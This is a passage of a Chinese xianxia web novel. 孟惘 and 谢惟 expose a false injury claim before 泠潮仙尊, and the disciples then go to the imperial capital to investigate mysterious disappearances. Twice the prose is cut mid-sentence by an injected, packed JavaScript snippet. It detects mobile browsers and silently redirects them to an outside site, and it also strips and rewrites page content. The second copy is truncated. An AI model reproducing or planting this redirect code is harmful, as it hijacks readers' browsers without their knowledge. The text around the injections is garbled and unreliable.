目送二人进了传送阵后,一位女修用肩膀碰了一下身边的朋友,“嗳,你看咱谢师兄和孟师兄,像不像凡间话本的……” “什么话本?我不知道哈,什么囚什么强的,什么药什么床的我可什么都没看过哈,不管是核桃毛笔琉璃珠还是镜子窗台白玉桌我可没代他俩啊你别冤枉人……” 碰她的那名女修,“……” 一旁的男修,“……” …… 他们上山时,风乔儿正在山上候着。 头上有一片金光屏障遮雪,傅靖元站在她身后,双手揣在袖中,仍是一副老神在在的模样—— “他们去朱茵台了,师尊正等着小惘,泠潮仙尊也来了。” “乔儿回屋休息,我跟孟惘过去。” 谢惟看了一眼她自枯月峰回来带伤的腹侧,转身朝朱茵台方向走去,孟惘见状连忙跟上。 “哦,好……” 风乔儿站在风雪里,薄唇不自觉压出一道平线,直看着他们的身影彻底消失在视线里才转身回了殿中。 一进殿门,她心有所感地往里走了几步,随后转头一脸看傻子的眼神看向跟在身后之人,“你进来做什么?” 傅靖元自顾自地坐在桌旁,“师妹,给你二师兄上点茶……” 风乔儿的太阳穴突突直跳,“您老真是过惯了皇宫日子,怎么不回去继位呢?这副德性要不修仙怕是早被算计死了。” 他却认真地点点头,“确实,那些庶子夺嫡太吓人了,还是修仙安全。” “有家不回,有位不继,嘁。” 风乔儿闷闷说了一句,从柜子里拿出一个瓷瓶,打开瓶盖,淡淡的茶叶味萦绕鼻间。她捏出一小把放入瓷碗中,再浇上滚烫的热水,一股清醇茶香溢散开来。 傅靖元盯着看,蓦地来了一句,“乔儿,有你这么泡茶的吗?” “不喝就滚!” 她现在真想一茶壶砸他脸上。 “为什么说到泠潮你就不太对劲?”傅靖元换了个话题,语气仍漫不经心,声线却平了几分。 握着壶把的手紧了紧,又有些不自然地抽了回来。 她这二师兄太过精明。 “我担心三师兄而已,你不担心?” 风乔儿低着头收拾茶具,没抬眼看他,只知道对方很久都没答话。 “……有你大师兄在小惘肯定吃不了亏,但你大师兄宠小惘宠惯了,我怕泠潮一说点儿小惘的不好他能直接燃了。” …… 大门被猛地推开,寒风呼啸着卷雪进殿,孟惘和谢惟一前一后相继进了大堂。 泠潮仙尊一袭紧身黑衣正坐在客宾上位,外袍被她脱放在一边,双腿交叠,一双媚眼风情横生,肤若凝雪琼华,朱唇点绛,青丝垂地,葱尖玉指扶云柳拂尘。 她斜睨了他们一眼,声色柔细,但由于嗓音大,也勉强拿出了点儿尊主气势,“你们南墟境未免太过嚣张了些,罪人迟来,让尊主在这等那么久!” 她这声“罪人”着实把孟惘给吼懵了。 这就是索苑境的办事效率?这么快就给他定罪了? 感觉马上就要被打入大牢了。 “你就是孟惘?!” 说来奇怪,泠潮的视线一下就准确定到了他的身上。 “齐原,是他吗?” 齐原从她身后犹豫地站了出来,眼神阴郁,“对,就是他在浔仙道打的我。” 这时孟惘才发现原来齐原躲在了泠潮的椅子后面,见自家师尊确实有意帮他说话才壮着胆子站了出来。 “呵,”泠潮冷笑一声,从容地向后倚上椅背,“天玄,你座下弟子把我弟子打的左耳失聪左眼失明,半边脸瘫痪不能动弹,灵力也无法医治,你说怎么办吧?” 齐原的左眼好像确实是看不到了,戴着一个眼罩,看上去像是里面的眼球被震碎了。左半边脸发青发灰,血液不流通。 孟惘没想到那一巴掌竟然能做到这种地步,他自认为用的力道中规中矩,若是换百里夏兰扇一巴掌,齐原怕是十条命都不够用的。 上一世他被这样打过很多次,即便有自愈能力也能知道百里夏兰用了几分力道几分灵力,以及能达到什么程度。 他很确信自己当时只是嫌他烦,想让他昏过去而已。 孟惘抬起食指用指腹摩挲着下唇,来回打量着齐原和泠潮,嘴角噙起一丝微不可察的笑意。 天玄问道,“孟惘,是你做的吗?” “我确实打他了,但是我想先问仙尊一个问题,”孟惘看向坐在椅子上的女子,正好对上了她的视线,“你想要我怎么赔偿?让他打回来,还是废我修为?” 谢惟藏在袖中的指尖捏了捏袖口。 “赔偿?”女人饶有兴趣地打量着他,在他脸上流连许久,眸中冷幻迷离,突然似笑非笑道—— “你陪我一晚……” 她伸出手就要去勾孟惘的腰带,“我就不计较了……” 未料指尖还未碰到他的衣服便被一柄冷剑格挡在空中,殿中响起谢惟清冽的声音,“仙尊,自重。” 垂眸看着没有脱鞘的无妄剑,孟惘嘴角一僵,本来想套出那人来这儿的真正目的,怎么会是这种回答? 久闻泠潮仙尊轻浮佻薄,云心水性,今日一见,传闻也并非空穴来风。 气氛一时有些尴尬,孟惘没敢去看天玄和谢惟的脸色,幸好泠潮识相地收回了手。 她拖着下巴不依不饶道,“这个年纪刚好,我就喜欢这种的……” “仙尊若是再想些不该想的,就别指望能完整地回索苑境了。”谢惟冷冷地打断她。 泠潮嗤笑一声,“你什么身份,敢威胁我?” 谢惟却不再说话,一眼看入她的眼底。 那双浅眸中分明不带分毫情感,不尖锐,甚至有种诡异的平和。 泠潮却不受控地打了个寒噤。 她又顿时反应过来,觉得有失仙尊颜面,脑羞成怒地喝道—— “你……!” “够了泠潮,我以为你来这儿是要给你弟子讨公道的。”天玄沉声开口。 孟惘悄悄看了一眼脸都绿了还不敢说什么的齐原。 “师兄。”他后退一步,侧过头在谢惟的耳边说了什么。 因为用了灵力,只有他们两个能听见。 “压一会儿就行,我尽快问完。” 这件事以他的灵力还做不到,但是谢惟可以。 谢惟的视线拂过他的脸,微微颔首。 “我只不过扇了一下你的脸,怎么就成这样了呢?”他转头看向齐原,无辜地眨了下眼睛,“不至于啊……” “去你妈的,你用了多少灵力你心里没点数吗?”齐原咬牙道。 孟惘被骂也不恼,简单直白地说道,“你说你半边脸瘫痪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702552|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其实是在仄冬荒中了礁鬼的毒吧。” 泠潮仙尊的脸色一变,却是怒目瞪向谢惟。 “哪里来的礁鬼?”齐原冷哼一声,直觉是孟惘想要诈他的话。 “别装,江子波和迟羽声都知道,需要我联络他们核实一下?” “……是!我是被礁鬼拉进墙里了,但你怎么就能说这是礁鬼的毒而不是你打的?!” “呲啦”一声布帛破裂的轻响,齐原的衣服从衣领处裂到了侧腰,他慌乱中一抬胳膊,马上露出了肩颈处和肋骨处的大片青灰,“你撕我衣服?!” 孟惘指尖衔着点点寒芒—— “我前几句说只是打了你一巴掌,你也默认了,况且当时江子波他们也在场,你脸上的若当真是我打的,那身上这些呢,一样的伤,你怎么解释?” 齐原呼吸急促起来,紧抓着被灵力撕裂的衣服,想也不想就道,“那我左耳和左眼呢?你还想洗脱不成!” 谢惟抬起眼眸,神色漠漠,“方才泠潮仙尊也感觉到了,我用移灵术剥夺了你右耳听觉,你既左耳失聪,又是怎么听到孟惘的问话的?” 高阶术法移灵术,就像是上次古土秘境中他对孟惘用的,也是像炼印一样必须要依托灵丹才能使用的术法,所以只能用于修士之间,而妖魔不可用。 修为比自己低的人不会觉察,修为比自己高的人则会看穿术法运行的“线”,从而能确定施术者、针对者等等。 只是泠潮虽然察觉却没有打破术法,大概也是被齐原蒙在鼓里,想看看真相如何。 她若是立马打破了施在齐原身上的术法,那便是做贼心虚,与她那好徒弟私通勾结,刻意谋划的。 不说她那些风流史,堂堂一境之主,这点自觉还是要有的。 谢惟收了移灵术。 齐原愣在原地。 他方才没有察觉到谢惟用任何灵力,自然也不确定方才那番话到底是真的还是在诈他,不敢轻易答话,只得无助地看向身旁的女人。 “齐原,眼罩摘了吧,想也没什么事,你竟是用一点儿血就糊弄了本尊。”泠潮的声音冷了下来。 她起身快步朝殿门走去,“这关门弟子你也不必再当了。” 齐原反应过来后连忙追了上去,“师尊你听我解释!不是这样的!你不能……” 泠潮仙尊一手掐住他的脖颈止住了他的话头,顿住脚步,侧首婉尔一笑看向孟惘,眉眼暗递秋波—— “今日多有冒犯,改日定当赔罪。不过能得见当年在修真界荡起一波俗潮的小仙君真容,也是不枉此行。” “如果有需要可以来索苑境,本尊随时恭候。” 孟惘,“……” 这仙尊是学变脸的。 修真界烂到什么程度孟惘都不想多说,外强中干纸糊的老虎,五境内里不调,各境间也没有联系,全仗着浔仙道培养提升那二十几个关门弟子以及五位仙尊坐阵。 能打的也就只有旋灵境和南墟境。 说旋灵境能打是因为里面的七千子弟个个随了浮鸿仙尊的性子,宁做刀下鬼不做亡国奴,往死里磕,尤其是那个迟羽声。 说南墟境能打是因为…… 都是故人。 南墟境虽好,故人不可留,魔界虽令他痛苦,至少有两个真心之人—— 荆连和百里纤纤。 今天泠潮来这儿闹的这场乌龙终于结束,辞别了天玄之后,他跟着谢惟回了月华殿。 孟惘脱了鞋倒在谢惟的床上,翻身抱着他的被子低低嗅着,是同主人身上一样的冷香。 闻起来很安心,感觉紧绷着的神经和身体都松懈下来,接着睡意袭卷大脑,他轻阖着眼,半边脸埋入松软的被中。 虽然谢惟连问都不问,他也还是想向那人解释一下自己是在何时打的齐原。可还没开口便觉有人解开了自己的腰带,身体本能地一僵,但意识到是谁之后,又渐渐放松了下来。 “脱掉外面的衣服再睡,不然太累。”熟悉的声音隐约传入昏沉的脑海。 孟惘听话地坐起身将外衣脱了,只着一件白色里衣,睡眼惺忪地抱住那人的腰往窗外看了一眼,嗓音又不自觉软腻起来,“是不是快到晚上了?” “……嗯。” “那你也在这儿睡吧,别去偏殿,”他怕谢惟拒绝,又可怜巴巴补充道,“我明天就回我殿里睡觉。” 23. 皇室 年后四月,芳春清和,柳絮轻扬。 暖光自窗外透进,洒落在床上之人单薄的衣衫上,映得近乎透明的冷白肌肤微微反光。 孟惘闻着窸窣的穿衣声懒懒翻过身将被子抱入怀中,带着刚睡醒的困意闷闷地看向正在床边低头系着外衣腰带的谢惟,胳膊上还搭着件月牙色外袍。 视线不由得落到了他的后腰上。 没穿外袍时他的身形便比较清晰了,尤其是腰带一收,腰、肩、腿的比例堪称完美,特别是腰,孟惘抱他的时候特别喜欢用一只手圈住他的腰。 平日也是有意无意地就想去揽,控制不住的那种。 孟惘觉得自己这种本能举动有些流氓,但是幸好谢惟并不反感他这样亲密的抱法。 大抵是他的视线太过明显,谢惟穿上外袍后便转过身来,“醒了?” 视线又上移到对方的脸上,他轻轻点了点头。 “你睡眠太浅,自己睡觉的时候能睡深一点儿吗?” 孟惘坐起身慢吞吞拿过外衣穿上,“自己睡的时候醒得更早。” “你醒那么早干什么?” “我也不想嘛,”他坐到床边穿上鞋子,随口说道,“感觉自己身边一群死人,睡不好,冷冷的。” 自从十四岁之后谢惟便很少答应同他一床睡觉,每次都要软磨硬泡。 但没有办法,只有那人在身边的时候才是睡得最安稳的,即便知道那是把随时会掉下来取他性命的冷刀。 谢惟目光微转,方要开口便被窗外传来的阵阵“叽叽啾啾”的尖细鸟鸣所打断。 孟惘走过去打开窗户,摊开手掌,一只蓝色小鸟落到手心。 那鸟儿个头不大,形翅精致毛羽柔滑,几秒之后竟是口吐人言,蓦地大声叫道,“应怜荒再次出现大量魔气!皇城出现魔修痕迹!陛下请南墟境仙尊门下弟子务必三日内赶到皇宫商议处理!” 孟惘垂下眼,觉得它这声音甚是难听,抬手轻弹了一下它的鸟头—— “告诉陛下,我们今日去人界,明天到达皇宫。” 应怜荒这两次凭空出现的魔气,估计又是因为法场不稳。 “师兄,你说为什么各界的法场自几年前起突然有异?” 一没有大能修士自爆灵丹,二没有天道罚怒,毫无缘由。 谢惟的回答却给他一种说不上来的怪异之感—— “不是说皇城有魔修痕迹吗,大抵是魔修做的。” 皇城有魔修痕迹是因为百里夏兰感应到了自己的身份,故意从皇城下手将自己引出南墟境好和她私自会面。因为在没有灵丹做掩饰的情况下,以她的魔息,一迈入境内便会被天玄觉察。 孟惘是经历过一次的。 可应怜荒魔气再现这出前世根本没有,也不可能是百里夏兰的手笔。 谢惟在转移话题吗?或者在刻意模糊什么?明明他也是重生的,他也知道应怜荒那个鸟不拉屎的地方本不该出事,他为什么不起疑? 孟惘慢慢眯起眼睛,深呼吸了一下。 想不通,线太乱了。 尤其是谢惟,感觉他才是最关键的那个点,却不能直接问他。 现在就是对方在装,自己也在装,两个人一台戏,说不定还有幕后操纵的第三人、第四人,摆在台子上的他都看不通透,更别说暗地里的了。 好像身处在一个巨大的骗局里,蒙耳蔽目,被压得喘不开气。 …… “什么?父皇来信?!” 傅靖元一下从被子里爬出来,心中忐忑,“什么事儿?” 谢惟站在他寝殿门口,“说是皇城有魔修痕迹,没细讲。” “都去?” “都去,孟惘去叫风乔儿和温落安了。” 他干笑两声,“你们去我就不去了呗,人多也怪挤得慌……” 谢惟面无表情地看着他。 “你是不是在骂我?”傅靖元盯着他的脸看。 “你见我张嘴了?” 好像没骂,好像又没少骂。 “行行行,我去总行了吧。”他不情不愿地下了床,“我一回去他们肯定都以为我是去继位的,被暗算死了你可得给我收尸。” 在谢惟疏浅又极具存在感的逼视下被迫收拾好东西,一推开殿门便听到风乔儿自大老远传来的声音—— “这你就不知道了吧,你看他平时那吊儿郎当的懒散矜贵样儿,每件衣服都要用最好的布料还量身定制,事儿比头发丝还多,可不就是在宫里头惯出来的嘛!他本来是……呃……” 她话音一顿,正对上殿外傅靖元那张皮笑肉不笑的脸。 风乔儿用手罩在嘴边,凑到温落安耳边继续说道,“本来是嫡长子,是确定了要继位的正统太子。他父皇在他八岁就开始请修士来在宫中教他修习,十岁结丹,十三岁离开皇宫来南墟境,过了入门大比后就留在这里没有回去过了。” “他父皇不得已又立了一个太子,可还是盼着他回去,可他偏不回去,不知道怎么想的。” 傅靖元,“……” 其实还是有回去过的,只不过那并不是什么美好的回忆,所以没有告诉过他们。 脑海中再次浮现出一张记忆中熟悉的面庞,心中百感交集,似有万蚁啃噬又麻又疼,他默默叹了口气,面上又挂起往日般虚浮不实的笑容,“走吧。” 一只拳手大小的蓝鸟如利箭般疾驰着,自昏沉的天幕直冲而下,紧贴着地面冲破疏松的杂草,激起纤纤尘土,又如游浪般再次向上荡起,与皇城中正在路边行走的一位红衣女子擦肩而过。 那女子面色苍白,垂下眼帘静默地看着自己肩侧的发丝被鸟雀鼓风扇起,又缓缓落下…… 她声音沙哑单薄,自言自语道,“还有……一柱香。” 抬腿迈入一家客栈,她目不斜视地直接上了楼,留下简短的一句话,“务必让他们来这里,别漏馅了。” 坐在桌边的几位客人脸色骤变,缓缓露出诡谲莫测的笑来。 正在擦盘子的小二舔了舔手帕上的血,眼中冒着幽幽萤光,“遵命,主上。” …… 夜幕低垂,谢惟一行人御剑到了皇城,落地之后去了隐身术,此时已是大半门户紧闭,屋内灯光融融,应是在吃晚饭。 他们本想要到一家客栈内休息,怎料还未待推开门便被拦住—— “哎呀客官,您住几间房啊?” 一个长相普通让人转眼就忘的陌生男子挡在了门前。 看穿着,头上披一块灰布,肩处搭一条巾帕,是店中小二的打扮。 风乔儿着实搞不懂他为什么要拦在门口,张了张口刚想要说些什么,又听他道—— “是这样的,我们店里今天不收钱,比这家还大,服务还好,吃喝管够,您去我们那儿保管您满意!” 抢客?! 还到别家门口光明正大的抢客?! “黑店。”孟惘淡淡地开口。 “诶客官,这可不能乱说,皇城里谁敢开黑店啊,这一锅端了可都要掉脑袋的。”小二赔笑道。 “那就是闹鬼。”他又轻飘飘地说道。 “不是,”小二被他怼的有点语无伦次,着实感觉这人纯粹找茬,“咱这儿确实闹鬼,啊不,啊对,确实闹鬼,但皇城哪片儿地方都闹鬼啊。” 说完他便一怔,“你们不知道?” 温落安悄悄往傅靖元身边靠了靠,风乔儿瞪大了眼,“闹什么鬼?” 小二一看有戏,特意压低声音装神秘道,“这种事咱回店里说,在外边不方便。” “在哪儿?” “很近,”他热情地拉着风乔儿的胳膊,往正东方指了指,“就在那边,我带你们去。” 孟惘默默跟在后面看着风乔儿和一旁的温落安,眸中暗光攒动,心里默默道—— 今晚,两个。 还剩下,傅靖元和谢惟。 一进客栈,里面闹哄哄地坐了几桌,都在暖灯下喝酒吃肉,推杯换盏人声沸扬,看起来好不热闹。 “客官,你们要吃点什么?” 几人不禁心下起疑—— 这是异乱之处所在之人应该有的表现吗? 还是说皇城中人纸醉金迷的日子过惯了,生死看淡,都是受“即时行乐”风气和观念的影响? 孟惘扫了周围一眼,倚在墙上没有说话。 “我们……倒没什么想吃的。”傅靖元在一个空桌旁坐下,“小惘,你不吃点东西?” “不饿。” “那直接给我们安排几间房吧,一共五个人,五间。” “四间。”从始至终没有开口的谢惟突然道。 孟惘睫毛轻颤,抬了抬眼皮。 “好嘞,客官请随我上楼。” 三楼拐角处两间,四楼楼道口对面两间。 小二在楼梯口叫住他们,压低声音道—— “皇城这几日总是有人在晚上失踪,客官可勿必小心。听好几户人家说的,本来还在自己身边躺着的人呢,醒来之后一看就没啦!” 他表情浮夸,语气一惊一乍,“都说是闹鬼,夜里把人给拉走吃了,渣都不剩啊!” 一片寂静,只有廊道上的灯一闪一闪,忽地灭了,又忽地亮起,一阵阴风吹过,温落安打了个哆嗦。 “呵。” 一声不合时宜的嗤笑打破了这诡异的气氛,孟惘抬脚上了楼,头也没回 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如果不出意外姑姑不会伤他们,她的主要目的还是要支开身边的人,好单独和他谈谈。 但是也有些冒险,毕竟已经有太多出乎意料的事情发生了。 其实本可以阻止他们来到这家客栈,但是他没有,他反而推波助澜了一把,弃风乔儿与温落安的安危于不顾。 因为他也想借此和百里夏兰见一面,以后也能早些继位,尽快觉醒上古魔血,提升修为。 赶在谢惟要杀他之前。 若这一世还是身死人手,他重生又有什么意义。 乌黑的眸透不进光亮,他把所有人当成了棋子。 包括他牵念最深的那个人。 谢惟也知道接下来会发生什么,但并不知道是百里夏兰一手策划。就之前的几件事孟惘可以判定他是想按上一世的来走,不到迫不得已不会做出什么脱轨之事。 所以坐视不管,顺机而动。 但百里夏兰就不一样了,孟惘清楚那人行事作风有多疯癫,是杀是留全在一念之间,她不一定会和上一世完全一样的做法。 他们就算最终没有性命之忧,但若是缺胳膊少腿了呢?眼盲耳聋了呢? 他会因此愧疚吗…… 好像不会。 那些人早晚都是要死的。 “孟惘。” “嗯?” 他仍是想得出神,直到谢惟躺在他身边也仍没有反应过来。 “转过来。” 谢惟的声音近在咫尺。 他眨了眨眼,听到那人的指令就下意识照做,未待眼神清明,身体已是朝旁边侧了过去。 正好对上了那双冰绿色浅淡清瞳。 孟惘倏地摒住了呼吸,紧接着错开视线。 他往下面移了移,微蜷着身子,然后将额头抵在了谢惟的锁骨处。 仅此而已。 “不是总说想抱着我睡吗?” “你不是说不能吗?” 不问倒还好,一问他反而又禁不住委屈。 “你不高兴,依你。”谢惟伸手将他的鬓发轻柔地掖到耳后。 孟惘朝他凑进了一点,伸手圈住他的腰,将脸埋入他怀里,熟悉的气息窜入鼻中,冲得他鼻梁发酸,眼眶也酸胀起来。 “对不起……我不是故意不高兴的,是不是让你难受了?” 借着在对方怀中蹭蹭的动作,一两滴干涩的眼泪也洇上了那人的衣襟。 他总是在想,抑制不住地想。 想很多很多。 他也不知道自己到底在想些什么,所有的概念在脑中都模糊了,他分不出是非对错、爱恨得失,像个不通人情的幼兽般在世间茫然奔走,遇到的、错过的、爱过的、恨过的,都好像在破碎又重聚,他找不到原来的那条路,也不敢再往下走。 所有情感都混乱不堪,却再不能去找故人心无芥蒂毫无隔阂地依赖求教,他左支右绌、手足无措。 于心而言,重来一世,对他来说算不上什么好事。 “没有,你可以有情绪,我说过了,你怎样我都不怪你。”谢惟轻声说道。 孟惘微微颤抖地吐出一口气,这一刻有千言万语都堵在嘴边,可他双唇翕动,又什么都说不出来。 谢惟是他唯一一个愿意信任的人,也是他最不能信任的人。 “师兄。” “怎么?” “没什么,就是想叫一下你。” “嗯,”谢惟像小时候一样轻轻顺着他的脊背,“你唤我我便在。” 24. 失踪 第二天一早—— “风乔儿他们不见了!” 傅靖元“哐当”一声推开邻间客房的门,入眼便是孟惘头枕着谢惟的胳膊,一手抱着谢惟的脖颈,窝在他怀中熟睡的模样。 谢惟倒是清醒着,见他推开门后目光淡然地移到了他的脸上。 孟惘则眉心微蹙,睁开睡意朦胧的眸子,嗓音喑哑,“什么……?” 傅靖元无语凝噎,片刻后强行移开视线,一副“光天化日之下不忍直视”的神情,强作镇定地重复道,“乔儿和温落安不见了。” 孟惘顿了两秒,故作慌张地坐起身来,“你的魂符是用来好看的?” “魂符被放在柜子上了,”提到这个,傅靖元面色微沉,“完好无损的,但是人没了,没有任何痕迹。” 谢惟倒是一如既往的冷静,“这里没有线索,估计再候一晚魔修也不会再有动作了,先去皇宫看看,反正都是一条线。” 他们花了两个时辰赶到皇宫,被守在宫外的两个侍女带进了正堂,她们行了个皇室礼仪,对着傅靖元说道,“殿下,请到阳春殿换身衣饰,陛下来到看见一定会很开心的。” 听到后半句,傅靖元本想拒绝的话硬生生咽了回去,“……好吧。” 待他随着其中一位侍女离开,另外一位侍女伸手示意,“二位仙君,请坐吧。” 孟惘和谢惟在正宾的椅座上坐下,侍女则为他们沏好了茶放到椅子旁的矮几上,又遣人上了两碟清香四溢的桂花糕,“陛下一会儿就来,请二位仙君稍等片刻。” 有糕点。 孟惘的眼睛亮了亮,捏起一块尝了尝,入口即化甜而不腻,还带着丝丝凉意,咽下后唇齿留香。 他满意地弯了弯眉眼,又咬了一口。 “和凡间卖的不一样?”谢惟问他。 “不一样,这个凉凉的,比集市上卖的好吃,”孟惘拿起一个递给他,“真的,你尝尝。” 一旁的侍女微微笑道,“这是膳秋堂里的厨子亲手做的,那些王公贵人们也可爱吃了,仙君若是有空可以去逛逛,看看还有没有喜欢的。可以在那里吃,也可以打包带到殿里。” “膳秋堂?你们吃饭的地方?” “可不是,”这侍女也是个胆大的,丝毫不避讳地看着他,笑意更深,“我们这种打杂下人去不得,能到那里的都是宫中地位极高的妃嫔、公主、殿下和太子。” 孟惘刚想问为什么没有皇后,突然想起皇后应该和皇上一起吃饭。 然后又反应过来…… 皇后死了。 也就是傅靖元的母后,在他十三岁时便去世了。 去年他父皇立了个庶子做了太子,但皇后之位也一直是空缺的。 “仙君久等,孤方才遇到点事先行去处理了,招待不周,多请见谅啊。” 一声爽朗带着笑意的声音自门外响起,孟惘抬头一看,只见一个身穿一袭锦绣龙纹金袍的男子走了进来,虽然满头华发,但身子骨却很硬郎,腰背挺直,有种常年习武之人自带的豪迈气场。 他走进堂内随手在他们对面拉开一把椅子坐下,左右瞥了两眼…… “殿下去换衣服了。”侍女很有眼力见儿地说道。 “哦,哈哈,那我们先谈正事。”他用手拍了一下膝盖思量片刻,“那个……让人把孤那封密卷呈上来。” 门口走来一个黑衣侍卫,手中呈着密卷递给他后,又躬身退了出去。 那位人界君王气势如虹地将那密卷摊开,不料另一端不慎滚落,密卷直接成了地毯,从脚下滚到门口,铺了五六米。 孟惘嘴角一抽,险些笑出声来。 他尴尬地轻咳一声糊弄过去,抬手举着密报的另一端向他二人说道,“仙君,这是孤整理的皇城和宫内失踪的人口姓名、时间和地点,以及概括了一些特征……” “想必既是陛下亲手整理,印象应当比较深刻?”谢惟问道。 “当然。” “既然如此,我们也不必再细看了,烦请陛下回答几个问题。” “好。”谢惟沉稳平静的语调让他下意识也端正起来。 “皇宫失踪的人有什么共同点?身份身高外貌性别之类。” “嗯……大多是后宫的妃嫔和丫鬟,多是些面容姣好的,年纪尚小的。” “多是在何时失踪的?” “这个只能说是在夜里,一般是清早醒来人就没了,还有些是在白天独处时失踪的。” “到现在丢了几人了?” “皇宫内有十人,皇城有二十三人。” 谢惟垂下眼睫,“皇城那里先不管,范围太大,主要是从皇宫下手,顺着线索抓出幕后魔修。” 那皇帝犹豫道,“被抓走的那些人还有可能活着吗?” “不好说,那些早被抓的多半被献祭了或者被吃了,不然怎么单挑嫩的。”孟惘托着腮说道,“倘若被带到魔界了更没戏,我们也进不去。” 那些人既不能用来作人质,也没有其他利用价值,留着有什么用? “不过你放心,我师弟师妹也被抓走了,不会撂下不管,会尽快处理。” 他没想到仙君竟还能被抓走,顿时意识到了问题的严重性,心里想着要多给傅靖元派些暗卫在夜里守着。 那可是他宝贝儿子。 “爹,您这又搞哪一出啊……” 傅靖元刚抬起的脚又收了回去,无奈弯下腰将滚到门口的卷轴捡起,一边朝里走一边卷,直到卷到了握在那位君王手中的另一端,他将收起的密卷一递,“收好吧。” 广袖金袍,黑领白衫,龙云纹带束腰,还有很多繁杂又奢华的佩饰…… 给他平日里快要上吊似的死气和惰态添了点精神气,勉强多了些活人模样。 只是锦袍不似他平日穿的衣物那样衣袂翩跹随风而动,这身装扮更加沉重厚实,也更显出他身形的瘦削。 这种瘦削让他立马想到了百里夏兰。 有些……不健康。 孟惘回忆着,没记得那人说过有什么顽疾,而且上一世他是被自己杀死的,也不是病死的。 虽然傅靖元常年不回皇宫,但也时常和他父皇用灵雀联系,关系很好,宫中侍卫常常见到自家陛下在窗前逗鸟,还碎碎念叨个不停。 说什么“这鸟太不好用了你声音都变尖了”“这鸟飞得太慢了前日的消息今日才送来”“爹想你了你什么时候来看看爹”等等。 总之正常人不会喜欢和一只鸟说那么多话,他们都怀疑陛下脑子出了问题,所以去年宫中大臣在朝堂上拜伏三天只为让他选出一个太子来,以免后顾之忧。 毕竟傅靖元在十七岁时已明确表示不再当太子,放下狠话自己到死都不会继位,这也是宫中人尽皆知的。 大臣美其名曰“早日选出太子以保陛下乐享天年”,实则是怕他哪天突然痴呆了,然后庶子争位闹出什么叛变来,不说百姓,朝中人多半都要遭殃。 皇帝站起身抱住了傅靖元,长叹一声,“元儿啊……回来了就别……” “抓到魔修我就走。” “你小子。”他拍了一下傅靖元的肩,语气责备视线却在他脸上停留许久,眼眶有些泛红。 他何止是想念他的儿子,更是想念轻狂岁月时约定终生的伊人。 傅靖元和他逝去的母后有着五分神似,尤其是眼睛。 “一会儿让侍女带你们去周围逛逛,到膳秋堂吃点东西,回殿里休息休息吧……哦对,你回宫的消息茗儿也知道了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此法不仅极耗灵力,也极耗精神力,要遍布整个后宫是不可能的,他只能试着在符合失踪人口共同特点的人身上下线。但即便这样也要数百人不止。 而傅靖元的阵法则充作一个诱饵,那魔修既能神不知鬼不觉地将风乔儿和温落安带走,说明实力不弱于他们且心思慎密,如此一来必知今夜有诈,发现阵法后一定会借此来定位布阵者然后改变路线,而对方的路线也同时会被孟惘收入识海,完成反向定位。 孟惘点点头,把鸡腿骨头咬得“咔咔”作响。 谢惟抿唇,伸出手到他唇边,“吐。” 孟惘愣了愣,眼神懵然,嚼骨头的动作顿住,又突然想起来这是从小便不被同意的“坏习惯”。 然而他也是万不可能真的将碎骨吐到谢惟手上的,所以喉结一动,直接咽了。 谢惟,“……” “他要是发现阵法直接跑了呢?”傅靖元问道。 “眼皮子底下抢人不是干过一次了吗?”谢惟看着孟惘吃东西鼓起来的腮帮。 “也对。” 傅靖元将那人平淡中不自觉带着柔情的眼神尽收眼底,又看了眼吃东西正香浑然不觉的孟惘。 啧啧啧。 童养媳养了快六年了还没吃到口真的。 他也是怪同情谢惟的,除了风乔儿那小野丫头明眼人都能看出来,偏偏当事人毫不知情,既蹭又抱又撒娇又能怎么样呢?喜欢和爱终究是两码事。 小惘这种人,怎么懂得爱人。 孟惘有所察觉,抬起眼皮瞪他,“看我干嘛?” 傅靖元轻笑,“让你大师兄看不让我看?” “你不怀好意。” 他无声嗤叹,究竟是谁对你不怀好意啊。